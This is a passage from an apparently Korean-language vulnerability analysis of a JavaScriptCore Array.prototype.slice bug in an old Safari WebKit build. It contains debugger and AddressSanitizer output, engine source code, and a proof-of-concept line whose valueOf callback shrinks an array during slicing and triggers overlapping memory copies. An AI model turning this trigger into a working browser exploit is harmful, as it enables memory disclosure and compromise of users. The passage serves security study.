JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfe080) + 15 at ArrayPrototype.cpp:724, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2\n    frame #0: 0x00000001000958af JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfe080) + 15 at ArrayPrototype.cpp:724\n   721  EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)\n   722  {\n   723      \/\/ http:\/\/developer.netscape.com\/docs\/manuals\/js\/client\/jsref\/array.htm#1193713 or 15.4.4.10\n-&gt; 724      JSObject* thisObj = exec-&gt;thisValue().toThis(exec, StrictMode).toObject(exec);\n   725      unsigned length = getLength(exec, thisObj);\n   726      if (exec-&gt;hadException())\n   727          return JSValue::encode(jsUndefined());\n(lldb) image lookup -n arrayProtoFuncSlice\n1 match found in \/Users\/seo\/Desktop\/WebKit-Safari-601.6.17\/WebKitBuild\/Debug\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore:\n        Address: JavaScriptCore[0x00000000000218a0] (JavaScriptCore.__TEXT.__text + 130800)\n        Summary: JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) at ArrayPrototype.cpp:722\n(lldb) br list\nCurrent breakpoints:\n1: name = 'JSC::arrayProtoFuncSlice', locations = 2, resolved = 1, hit count = 1\n  1.1: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*), address = JavaScriptCore[0x00000000001bc970], unresolved, hit count = 0\n  1.2: where = JavaScriptCore`JSC::arrayProtoFuncSlice(JSC::ExecState*) + 15 at ArrayPrototype.cpp:724, address = 0x00000001000958af, resolved, hit count = 1\n<\/code><\/pre>\n<h1>\ubc84\uadf8\ub294 \uc5b4\ub514\uc5d0?<\/h1>\n<p>ASAN\uc5d0\uc11c poc \ucf54\ub4dc\ub97c \uc2e4\ud589\ud560 \uacbd\uc6b0,<\/p>\n<p><code>JSC::JSArray::fastSlice<\/code> \uc5d0\uc11c \ubcf5\uc0ac\ud560 \uc6d0\ubcf8\uacfc \ub300\uc0c1 \uba54\ubaa8\ub9ac \uc601\uc5ed\uc774 \uc11c\ub85c \uacb9\uce58\ub294 \uac83\uc744 \uac10\uc9c0\ud558\uba70 \uc885\ub8cc\ub41c\ub2e4.<\/p>\n<p>Stack Trace\uc758 \uccab \ubc88\uc9f8 \ube14\ub85d\uc744 \ubd84\uc11d\ud574 \ubcf4\uba74 \uba54\ubaa8\ub9ac \uc190\uc0c1\uc5d0 \uad00\uc5ec\ud55c \ud568\uc218\ub4e4\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc73c\uba70, \ud568\uc218 \ubaa9\ub85d\uc740 \uac00\uc7a5 \ub9c8\uc9c0\ub9c9\uc5d0 \uc2e4\ud589\ub41c \ud568\uc218\ubd80\ud130 \uac00\uc7a5 \ucc98\uc74c \uc2e4\ud589\ub41c \ud568\uc218 \uc21c\uc11c\ub85c \ud45c\uc2dc\ub41c\ub2e4.<\/p>\n<p>\uc989, \uc774 \ubb38\uc81c\uc5d0\uc11c \uac00\uc7a5 \uba3c\uc800 \uc2e4\ud589\ub41c \ud568\uc218\ub294 **<code>JSC::arrayProtoFuncSlice<\/code>**\uc774\uace0, \uadf8 \ud568\uc218 \uc548\uc5d0\uc11c <code>JSC::JSArray::fastSlice<\/code> \ud638\ucd9c\uc774 \uc77c\uc5b4\ub0ac\ub2e4\uace0 \ubcfc \uc218 \uc788\uace0<\/p>\n<p>**<code>JSC::arrayProtoFuncSlice<\/code>**\ub77c\ub294 \ud568\uc218 \uc774\ub984\ub9cc \ubd10\ub3c4, \ubc30\uc5f4\uc5d0 \ub300\ud574 <strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\uac00 \uc2e4\ud589\ub420 \ub54c \ud638\ucd9c\ub418\ub294 \ud568\uc218\uc784\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-bash\">seos-Mac:Release seo$  DYLD_FRAMEWORK_PATH=$(pwd) .\/jsc poc.jsc\n=================================================================\n==409==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x63100000c9a0,0x63100000c9f0) and [0x63100000c988, 0x63100000c9d8) overlap\n==409==atos returned: An admin user name and password is required to enter Developer Mode.\n    #0 0x103793ea0 in __asan_memcpy (\/Applications\/Xcode.app\/Contents\/Developer\/Toolchains\/XcodeDefault.xctoolchain\/usr\/lib\/clang\/7.0.2\/lib\/darwin\/libclang_rt.asan_osx_dynamic.dylib+0x38ea0)\n    #1 0x101e8f4b7 in JSC::JSArray::fastSlice(JSC::ExecState&amp;, unsigned int, unsigned int) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x7a04b7)\n    #2 0x101712aef in JSC::arrayProtoFuncSlice(JSC::ExecState*) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x23aef)\n    #3 0x53fa58801027  (&lt;unknown module&gt;)\n    #4 0x1020b29b4 in llint_entry (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x9c39b4)\n    #5 0x1020ace25 in vmEntryToJavaScript (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x9bde25)\n    #6 0x101e16e44 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x727e44)\n    #7 0x101de4395 in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x6f5395)\n    #8 0x101844e49 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&amp;, JSC::JSValue, WTF::NakedPtr&lt;JSC::Exception&gt;&amp;) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x155e49)\n    #9 0x101683f3d in runWithScripts(GlobalObject*, WTF::Vector&lt;Script, 0ul, WTF::CrashOnOverflow, 16ul&gt; const&amp;, bool) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x100002f3d)\n    #10 0x101682994 in jscmain(int, char**) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x100001994)\n    #11 0x1016825b0 in main (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x1000015b0)\n    #12 0x7fff9d93d5ac in start (\/usr\/lib\/system\/libdyld.dylib+0x35ac)\n    #13 0x1  (&lt;unknown module&gt;)\n\n0x63100000c9a0 is located 18848 bytes inside of 32768-byte region [0x631000008000,0x631000010000)\nallocated by thread T0 here:\n    #0 0x10379e2f6 in wrap_posix_memalign (\/Applications\/Xcode.app\/Contents\/Developer\/Toolchains\/XcodeDefault.xctoolchain\/usr\/lib\/clang\/7.0.2\/lib\/darwin\/libclang_rt.asan_osx_dynamic.dylib+0x432f6)\n    #1 0x102445e3a in bmalloc::Allocator::allocate(unsigned long, unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xd56e3a)\n    #2 0x10185c776 in JSC::CopiedBlock::createNoZeroFill(unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16d776)\n    #3 0x10185ba9a in JSC::CopiedBlock::create(unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16ca9a)\n    #4 0x10185b7bf in JSC::CopiedSpace::allocateBlock() (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16c7bf)\n    #5 0x101cdf93c in JSC::Heap::Heap(JSC::VM*, JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x5f093c)\n    #6 0x10234c133 in JSC::VM::VM(JSC::VM::VMType, JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xc5d133)\n    #7 0x10234eaf9 in JSC::VM::create(JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xc5faf9)\n    #8 0x1016827f5 in jscmain(int, char**) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x1000017f5)\n    #9 0x1016825b0 in main (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x1000015b0)\n    #10 0x7fff9d93d5ac in start (\/usr\/lib\/system\/libdyld.dylib+0x35ac)\n    #11 0x1  (&lt;unknown module&gt;)\n\n0x63100000c988 is located 18824 bytes inside of 32768-byte region [0x631000008000,0x631000010000)\nallocated by thread T0 here:\n    #0 0x10379e2f6 in wrap_posix_memalign (\/Applications\/Xcode.app\/Contents\/Developer\/Toolchains\/XcodeDefault.xctoolchain\/usr\/lib\/clang\/7.0.2\/lib\/darwin\/libclang_rt.asan_osx_dynamic.dylib+0x432f6)\n    #1 0x102445e3a in bmalloc::Allocator::allocate(unsigned long, unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xd56e3a)\n    #2 0x10185c776 in JSC::CopiedBlock::createNoZeroFill(unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16d776)\n    #3 0x10185ba9a in JSC::CopiedBlock::create(unsigned long) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16ca9a)\n    #4 0x10185b7bf in JSC::CopiedSpace::allocateBlock() (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x16c7bf)\n    #5 0x101cdf93c in JSC::Heap::Heap(JSC::VM*, JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0x5f093c)\n    #6 0x10234c133 in JSC::VM::VM(JSC::VM::VMType, JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xc5d133)\n    #7 0x10234eaf9 in JSC::VM::create(JSC::HeapType) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/JavaScriptCore.framework\/Versions\/A\/JavaScriptCore+0xc5faf9)\n    #8 0x1016827f5 in jscmain(int, char**) (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x1000017f5)\n    #9 0x1016825b0 in main (\/Users\/seo\/Desktop\/WebKit-Safari-601.6.17-ASAN\/WebKitBuild\/Release\/.\/jsc+0x1000015b0)\n    #10 0x7fff9d93d5ac in start (\/usr\/lib\/system\/libdyld.dylib+0x35ac)\n    #11 0x1  (&lt;unknown module&gt;)\n\nSUMMARY: AddressSanitizer: memcpy-param-overlap ??:0 __asan_memcpy\n==409==ABORTING\nAbort trap: 6\n<\/code><\/pre>\n<p>\uc989, <strong>5<\/strong>\ubc88\uc9f8 \uc904\uc5d0\uc11c \ubc84\uadf8\uac00 \ud2b8\ub9ac\uac70\ub41c \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});\n<\/code><\/pre>\n<p><strong><code>JSC::arrayProtoFuncSlice<\/code><\/strong> \ud568\uc218\ubd80\ud130 \ubd84\uc11d\ud574\ubcf4\uc790.<\/p>\n<p>\ud574\ub2f9 \ud568\uc218\ub294 <code>Source\\JavaScriptCore\\runtime\\ArrayPrototype.cpp:721<\/code>\uc5d0 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)\n{\n    \/\/ http:\/\/developer.netscape.com\/docs\/manuals\/js\/client\/jsref\/array.htm#1193713 or 15.4.4.10\n    JSObject* thisObj = exec-&gt;thisValue().toThis(exec, StrictMode).toObject(exec);\n    unsigned length = getLength(exec, thisObj);\n    if (exec-&gt;hadException())\n        return JSValue::encode(jsUndefined());\n\n    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);\n    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);\n\n    if (isJSArray(thisObj)) {\n        if (JSArray* result = asArray(thisObj)-&gt;fastSlice(*exec, begin, end - begin))\n            return JSValue::encode(result);\n    }\n\n    JSArray* result = constructEmptyArray(exec, nullptr, end - begin);\n\n    unsigned n = 0;\n    for (unsigned k = begin; k &lt; end; k++, n++) {\n        JSValue v = getProperty(exec, thisObj, k);\n        if (exec-&gt;hadException())\n            return JSValue::encode(jsUndefined());\n        if (v)\n            result-&gt;putDirectIndex(exec, n, v);\n    }\n    result-&gt;setLength(exec, n);\n    return JSValue::encode(result);\n}\n<\/code><\/pre>\n<p>\ud558\ub098\uc529 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p>\uba3c\uc800<\/p>\n<p><strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\uac00 \uc801\uc6a9\ub41c \uac1d\uccb4\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n<p>poc \ucf54\ub4dc\uc5d0\uc11c <strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\ub294 \ubc30\uc5f4 **<code>a<\/code>**\uc5d0 \ub300\ud574 \uc801\uc6a9\ub418\uace0 \uc788\ub2e4.<\/p>\n<p>\uc989 (<strong><code>arrayProtoFuncSlice<\/code> \ud568\uc218<\/strong> \uc548\uc758) **<code>thisObj<\/code>**\ub294 (poc \ucf54\ub4dc\uc5d0\uc11c) **\ubc30\uc5f4 <code>a<\/code>**\uc5d0 \ub300\ud55c \ucc38\uc870\ub97c \ub2f4\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">JSObject* thisObj = exec-&gt;thisValue().toThis(exec, StrictMode).toObject(exec);\n<\/code><\/pre>\n<p>**\ubc30\uc5f4 <code>a<\/code>**\uc758 \uae38\uc774\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">unsigned length = getLength(exec, thisObj);\n<\/code><\/pre>\n<p><strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \ud568\uc218\ub97c \uc2e4\ud589\ud558\uc5ec <code>begin<\/code>\uacfc <code>end<\/code> \uac12\uc744 \uad6c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);\nunsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);\n<\/code><\/pre>\n<p><strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \ud568\uc218\ub294 <code>Source\\JavaScriptCore\\runtime\\ArrayPrototype.cpp:164<\/code>\uc5d0 \uc788\ub2e4.<\/p>\n<p><strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud560 \ub54c \uc0ac\uc6a9\ud55c \uc778\uc790\ub4e4\uc744 \uac00\uc838\uc624\ub294 \uc5ed\ud560\uc744 \ud55c\ub2e4.<\/p>\n<p>**<code>.slice()<\/code>**\uc5d0 \ub118\uc5b4\uc628 N\ubc88\uc9f8 \uc778\uc790\ub97c \uc815\uc218\ub85c \ubcc0\ud658\ud55c \ub4a4, \uc74c\uc218\uba74 <code>length<\/code>\ub97c \ub354\ud574 \ub4a4\uc5d0\uc11c\ubd80\ud130 \uc138\uace0, \ucd5c\uc885 \uacb0\uacfc\ub97c <code>[0, length]<\/code> \ubc94\uc704\ub85c \uc798\ub77c\ub0b4 \uc548\uc804\ud55c \ubc30\uc5f4 \uc778\ub371\uc2a4\ub85c \ub9cc\ub4e4\uc5b4 \uc8fc\ub294 \ud568\uc218\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)\n{\n    JSValue value = exec-&gt;argument(argument);\n    if (value.isUndefined())\n        return undefinedValue;\n\n    double indexDouble = value.toInteger(exec);\n    if (indexDouble &lt; 0) {\n        indexDouble += length;\n        return indexDouble &lt; 0 ? 0 : static_cast&lt;unsigned&gt;(indexDouble);\n    }\n    return indexDouble &gt; length ? length : static_cast&lt;unsigned&gt;(indexDouble);\n}\n<\/code><\/pre>\n<p>\uc544\ub798\uc640 \uac19\uc774 \uc790\ubc14\uc2a4\ud06c\ub9bd\ud2b8 \ud615\uc2dd\uc758 \uc608\uc81c \ucf54\ub4dc\uac00 \uc788\ub2e4\uace0 \uac00\uc815\ud558\uc790.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 <code>slice<\/code> \ud568\uc218\uc758 \uc778\uc790\ub85c \ubb38\uc790\uc5f4\uc744 \uc0ac\uc6a9\ud588\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var new_array = array.slice('1','3')\n<\/code><\/pre>\n<p>\uc774\uac83\uc774 \uac00\ub2a5\ud55c \uc774\uc720\ub294 <strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \ud568\uc218 \uc911<\/p>\n<p>\uc544\ub798\uc640 \uac19\uc740 \ucf54\ub4dc\uc5d0\uc11c \uc778\uc790\ub4e4\uc744 \uc815\uc218(\uc6d0\uc2dc \ud0c0\uc785: number)\ub85c \ubcc0\ud658\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">double indexDouble = value.toInteger(exec); \n<\/code><\/pre>\n<p>JavaScript\uc5d0\ub294 6\uac00\uc9c0 \uc6d0\uc2dc \ud0c0\uc785\uc774 \uc788\ub2e4.<\/p>\n<p><strong>string, number, boolean, null, undefined, symbol<\/strong><\/p>\n<p>\uc6d0\uc2dc\uac12(primitive)\uc774\ub780 \uac1d\uccb4\uac00 \uc544\ub2c8\uba70 \uba54\uc11c\ub4dc\ub97c \uac16\uc9c0 \uc54a\ub294 \ub370\uc774\ud130\uc774\uba70,<\/p>\n<p>JavaScript\ub294 \uac1d\uccb4\ub97c \uc6d0\uc2dc\uac12\uc73c\ub85c \ubcc0\ud658\ud558\uae30 \uc704\ud574 <code>valueOf<\/code> \uba54\uc11c\ub4dc\ub97c \uc790\ub3d9\uc73c\ub85c \ud638\ucd9c\ud558\uace0,<\/p>\n<p><code>valueOf<\/code> \uba54\uc11c\ub4dc\ub97c \uc9c1\uc811 \ud638\ucd9c\ud574\uc57c \ud558\ub294 \uacbd\uc6b0\ub294 \uac70\uc758 \uc5c6\ub2e4\uace0 \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p><code>begin<\/code>\uacfc <code>end<\/code> \uac12\uc744 \uad6c\ud55c \ub2e4\uc74c\uc73c\ub85c\ub294,<\/p>\n<p><strong><code>thisObj<\/code><\/strong> \uac00 ****(poc \ucf54\ub4dc\uc5d0\uc11c) \ubc30\uc5f4 **<code>a<\/code>**\uc5d0 \ub300\ud55c \ucc38\uc870\ub97c \ud558\uace0 \uc788\uae30 \ub54c\ubb38\uc5d0<\/p>\n<p><code>if<\/code> \uc548\uc758 <code>isJSArray(thisObj)<\/code> \uc870\uac74\uc740 \ucc38\uc774 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">    if (isJSArray(thisObj)) {\n        if (JSArray* result = asArray(thisObj)-&gt;fastSlice(*exec, begin, end - begin))\n            return JSValue::encode(result);\n    }\n<\/code><\/pre>\n<p><code>startIndex<\/code>\uac00 0,  <code>count<\/code>\uac00 10(end &#8211; begin = 10 &#8211; 0)\uc73c\ub85c \uac01\uac01 \uc778\uc790\uac00 \uc804\ub2ec\ub418\uba74\uc11c <code>JSArray::fastSlice<\/code> \ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">JSArray* JSArray::fastSlice(ExecState&amp; exec, unsigned startIndex, unsigned count)\n{\n    auto arrayType = indexingType();\n    switch (arrayType) {\n    case ArrayWithDouble:\n    case ArrayWithInt32:\n    case ArrayWithContiguous: {\n        VM&amp; vm = exec.vm();\n        if (count &gt;= MIN_SPARSE_ARRAY_INDEX || structure(vm)-&gt;holesMustForwardToPrototype(vm))\n            return nullptr;\n\n        Structure* resultStructure = exec.lexicalGlobalObject()-&gt;arrayStructureForIndexingTypeDuringAllocation(arrayType);\n        JSArray* resultArray = JSArray::tryCreateUninitialized(vm, resultStructure, count);\n        if (!resultArray)\n            return nullptr;\n\n        auto&amp; resultButterfly = *resultArray-&gt;butterfly();\n        if (arrayType == ArrayWithDouble)\n            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly-&gt;contiguousDouble().data() + startIndex, sizeof(JSValue) * count);\n        else\n            memcpy(resultButterfly.contiguous().data(), m_butterfly-&gt;contiguous().data() + startIndex, sizeof(JSValue) * count);\n        resultButterfly.setPublicLength(count);\n\n        return resultArray;\n    }\n    default:\n        return nullptr;\n    }\n}\n<\/code><\/pre>\n<p><code>JSArray::fastSlice<\/code>  \ud568\uc218\ub294 <code>case<\/code> \uc870\uac74\ubb38\uc5d0\uc11c (poc \ucf54\ub4dc\uc758) **\ubc30\uc5f4 <code>a<\/code>**\uc758 <strong>arrayType<\/strong>\uc774 <strong>ArrayWithDouble<\/strong>\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">JSArray* JSArray::fastSlice(ExecState&amp; exec, unsigned startIndex, unsigned count)\n{\n    auto arrayType = indexingType();\n    switch (arrayType) {\n    case ArrayWithDouble:\n    case ArrayWithInt32:\n    case ArrayWithContiguous: {\n    \/\/...\n}\n<\/code><\/pre>\n<p>poc \ucf54\ub4dc\uc5d0\uc11c \uc6b0\ub9ac\ub294 <strong>\ubc30\uc5f4 a<\/strong>\ub97c \ub9cc\ub4e4\uace0 \uc99d\uac00\ud558\ub294 double \uac12\uc73c\ub85c \ucc44\uc6e0\uace0,<\/p>\n<pre><code class=\"language-jsx\">var a = [];\nfor (var i = 0; i &lt; 100; i++)\n    a.push(i + 0.123);\n<\/code><\/pre>\n<p>jsc \uc258\uc5d0\uc11c <strong>\ubc30\uc5f4 a\ub97c<\/strong> \ud655\uc778\ud574\ubcf4\uba74 <code>ArrayWithDouble<\/code> \ud0c0\uc785\uc73c\ub85c \ub418\uc5b4\uc788\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">seos-Mac:Debug seo$ DYLD_FRAMEWORK_PATH=$(pwd) .\/jsc\n&gt;&gt;&gt; var a = [];\nundefined\n&gt;&gt;&gt; for (var i = 0; i &lt; 100; i++)\n...     a.push(i + 0.123);\n100\n&gt;&gt;&gt; describe(a)\nCell: 0x103447e30 (0x103433890:[Array, {}, ArrayWithDouble, Proto:0x103447f40]), ID: 160\n&gt;&gt;&gt;\n<\/code><\/pre>\n<p><code>ArrayWithDouble<\/code> \ud0c0\uc785\uc73c\ub85c \ub418\uc5b4\uc788\uae30 \ub54c\ubb38\uc5d0<\/p>\n<p><code>Source\\JavaScriptCore\\runtime\\JSArray.cpp:698<\/code>\uc5d0\uc11c <code>JSArray::fastSlice<\/code> \ud568\uc218 \ub0b4\ubd80\uc5d0 \uc788\ub294 <code>memcpy<\/code>\uac00 \uc2e4\ud589\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">JSArray* JSArray::fastSlice(ExecState&amp; exec, unsigned startIndex, unsigned count)\n{\n    auto arrayType = indexingType();\n    switch (arrayType) {\n    case ArrayWithDouble:\n    case ArrayWithInt32:\n    case ArrayWithContiguous: {\n        VM&amp; vm = exec.vm();\n        if (count &gt;= MIN_SPARSE_ARRAY_INDEX || structure(vm)-&gt;holesMustForwardToPrototype(vm))\n            return nullptr;\n\n        Structure* resultStructure = exec.lexicalGlobalObject()-&gt;arrayStructureForIndexingTypeDuringAllocation(arrayType);\n        JSArray* resultArray = JSArray::tryCreateUninitialized(vm, resultStructure, count);\n        if (!resultArray)\n            return nullptr;\n\n        auto&amp; resultButterfly = *resultArray-&gt;butterfly();\n        if (arrayType == ArrayWithDouble)\n            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly-&gt;contiguousDouble().data() + startIndex, sizeof(JSValue) * count);\n            \n    \/\/...\n}\n<\/code><\/pre>\n<p>\ubc14\ub85c \uc5ec\uae30\uc11c \uba54\ubaa8\ub9ac \uc190\uc0c1\uc774 \ubc1c\uc0dd\ud588\ub2e4.<\/p>\n<p>\uc774\uc81c \uba54\ubaa8\ub9ac \ub204\uc218\ub97c \uac00\ub2a5\ud558\uac8c \ud558\ub294 \uba54\ubaa8\ub9ac \uc911\ucca9\uc774 \uc65c \uc77c\uc5b4\ub098\ub294\uc9c0 \uc774\ud574\ud574\uc57c \ud55c\ub2e4.<\/p>\n<p>poc \ucf54\ub4dc \uc911, \ud2b9\ud788 5\ubc88\uc9f8 \uc904\uc744 \ub2e4\uc2dc \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-jsx\">var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});\n<\/code><\/pre>\n<p>slice \ud568\uc218\uc758 \uccab \ubc88\uc9f8 \uc778\uc790\ub294 \uc778\ub371\uc2a4 0(\ubc30\uc5f4\uc758 \uccab \ubc88\uc9f8 \ud56d\ubaa9)\uc774\uc9c0\ub9cc, \ub450 \ubc88\uc9f8 \uc778\uc790\ub294 <strong><code>valueOf<\/code><\/strong> \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294 \uac1d\uccb4\uc774\ub2e4.<\/p>\n<p>\uac1d\uccb4\uac00 JS \uc6d0\uc2dc \ud0c0\uc785(number)\uc73c\ub85c \ubcc0\ud658\ub420 \ub54c <strong>valueOf<\/strong> \ud568\uc218\uac00 \uc790\ub3d9\uc73c\ub85c \ud638\ucd9c\ub41c\ub2e4.<\/p>\n<p><strong><code>arrayProtoFuncSlice<\/code><\/strong> \ud568\uc218\uac00 \ud638\ucd9c\ub418\uba74 <strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \ud568\uc218\ub3c4 \ud568\uaed8 \uc2e4\ud589\ub418\uace0,<\/p>\n<p>\uadf8 \ud568\uc218 \uc548\uc5d0\uc11c <strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\uc758 \uc778\uc790\ub4e4\uc774 <strong><code>toInteger()<\/code><\/strong>  \ud568\uc218\ub97c \ud1b5\ud574 \uc6d0\uc2dc \ud0c0\uc785\uc73c\ub85c \ubcc0\ud658\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)\n{\n    ...\n    double indexDouble = value.toInteger(exec);\n    ...\n}\n<\/code><\/pre>\n<p>poc \ucf54\ub4dc\uc5d0\uc11c <strong><code>.slice<\/code><\/strong> \uba54\uc11c\ub4dc\ub85c \uc804\ub2ec\ub418\ub294 2\ubc88\uc9f8 \uc778\uc790\ub97c \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<p><strong><code>valueOf<\/code><\/strong> \ud568\uc218\uac00 **\ubc30\uc5f4 <code>a<\/code>**\uc758 \uae38\uc774\ub97c \ubcc0\uacbd\ud558\uace0 \uace0\uc815\ub41c \uc815\uc218 10\uc744 \ubc18\ud658\ud558\ub3c4\ub85d \uc7ac\uc815\uc758\ub418\uc5b4 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});\n<\/code><\/pre>\n<p>\uc218\uc815\ub41c \ubc84\uc804\uc758 **<code>valueOf<\/code>**\ub294 <strong><code>argumentClampedIndexFromStartOrEnd<\/code><\/strong> \uc548\uc5d0\uc11c <code>value.toInteger(exec)<\/code>\uac00 \uc2e4\ud589\ub420 \ub54c \ud638\ucd9c\ub418\uba70,<\/p>\n<p>\ubc30\uc5f4\uc758 \uae38\uc774\ub97c 100\uc5d0\uc11c 0\uc73c\ub85c \ubc14\uafb8\uace0 end 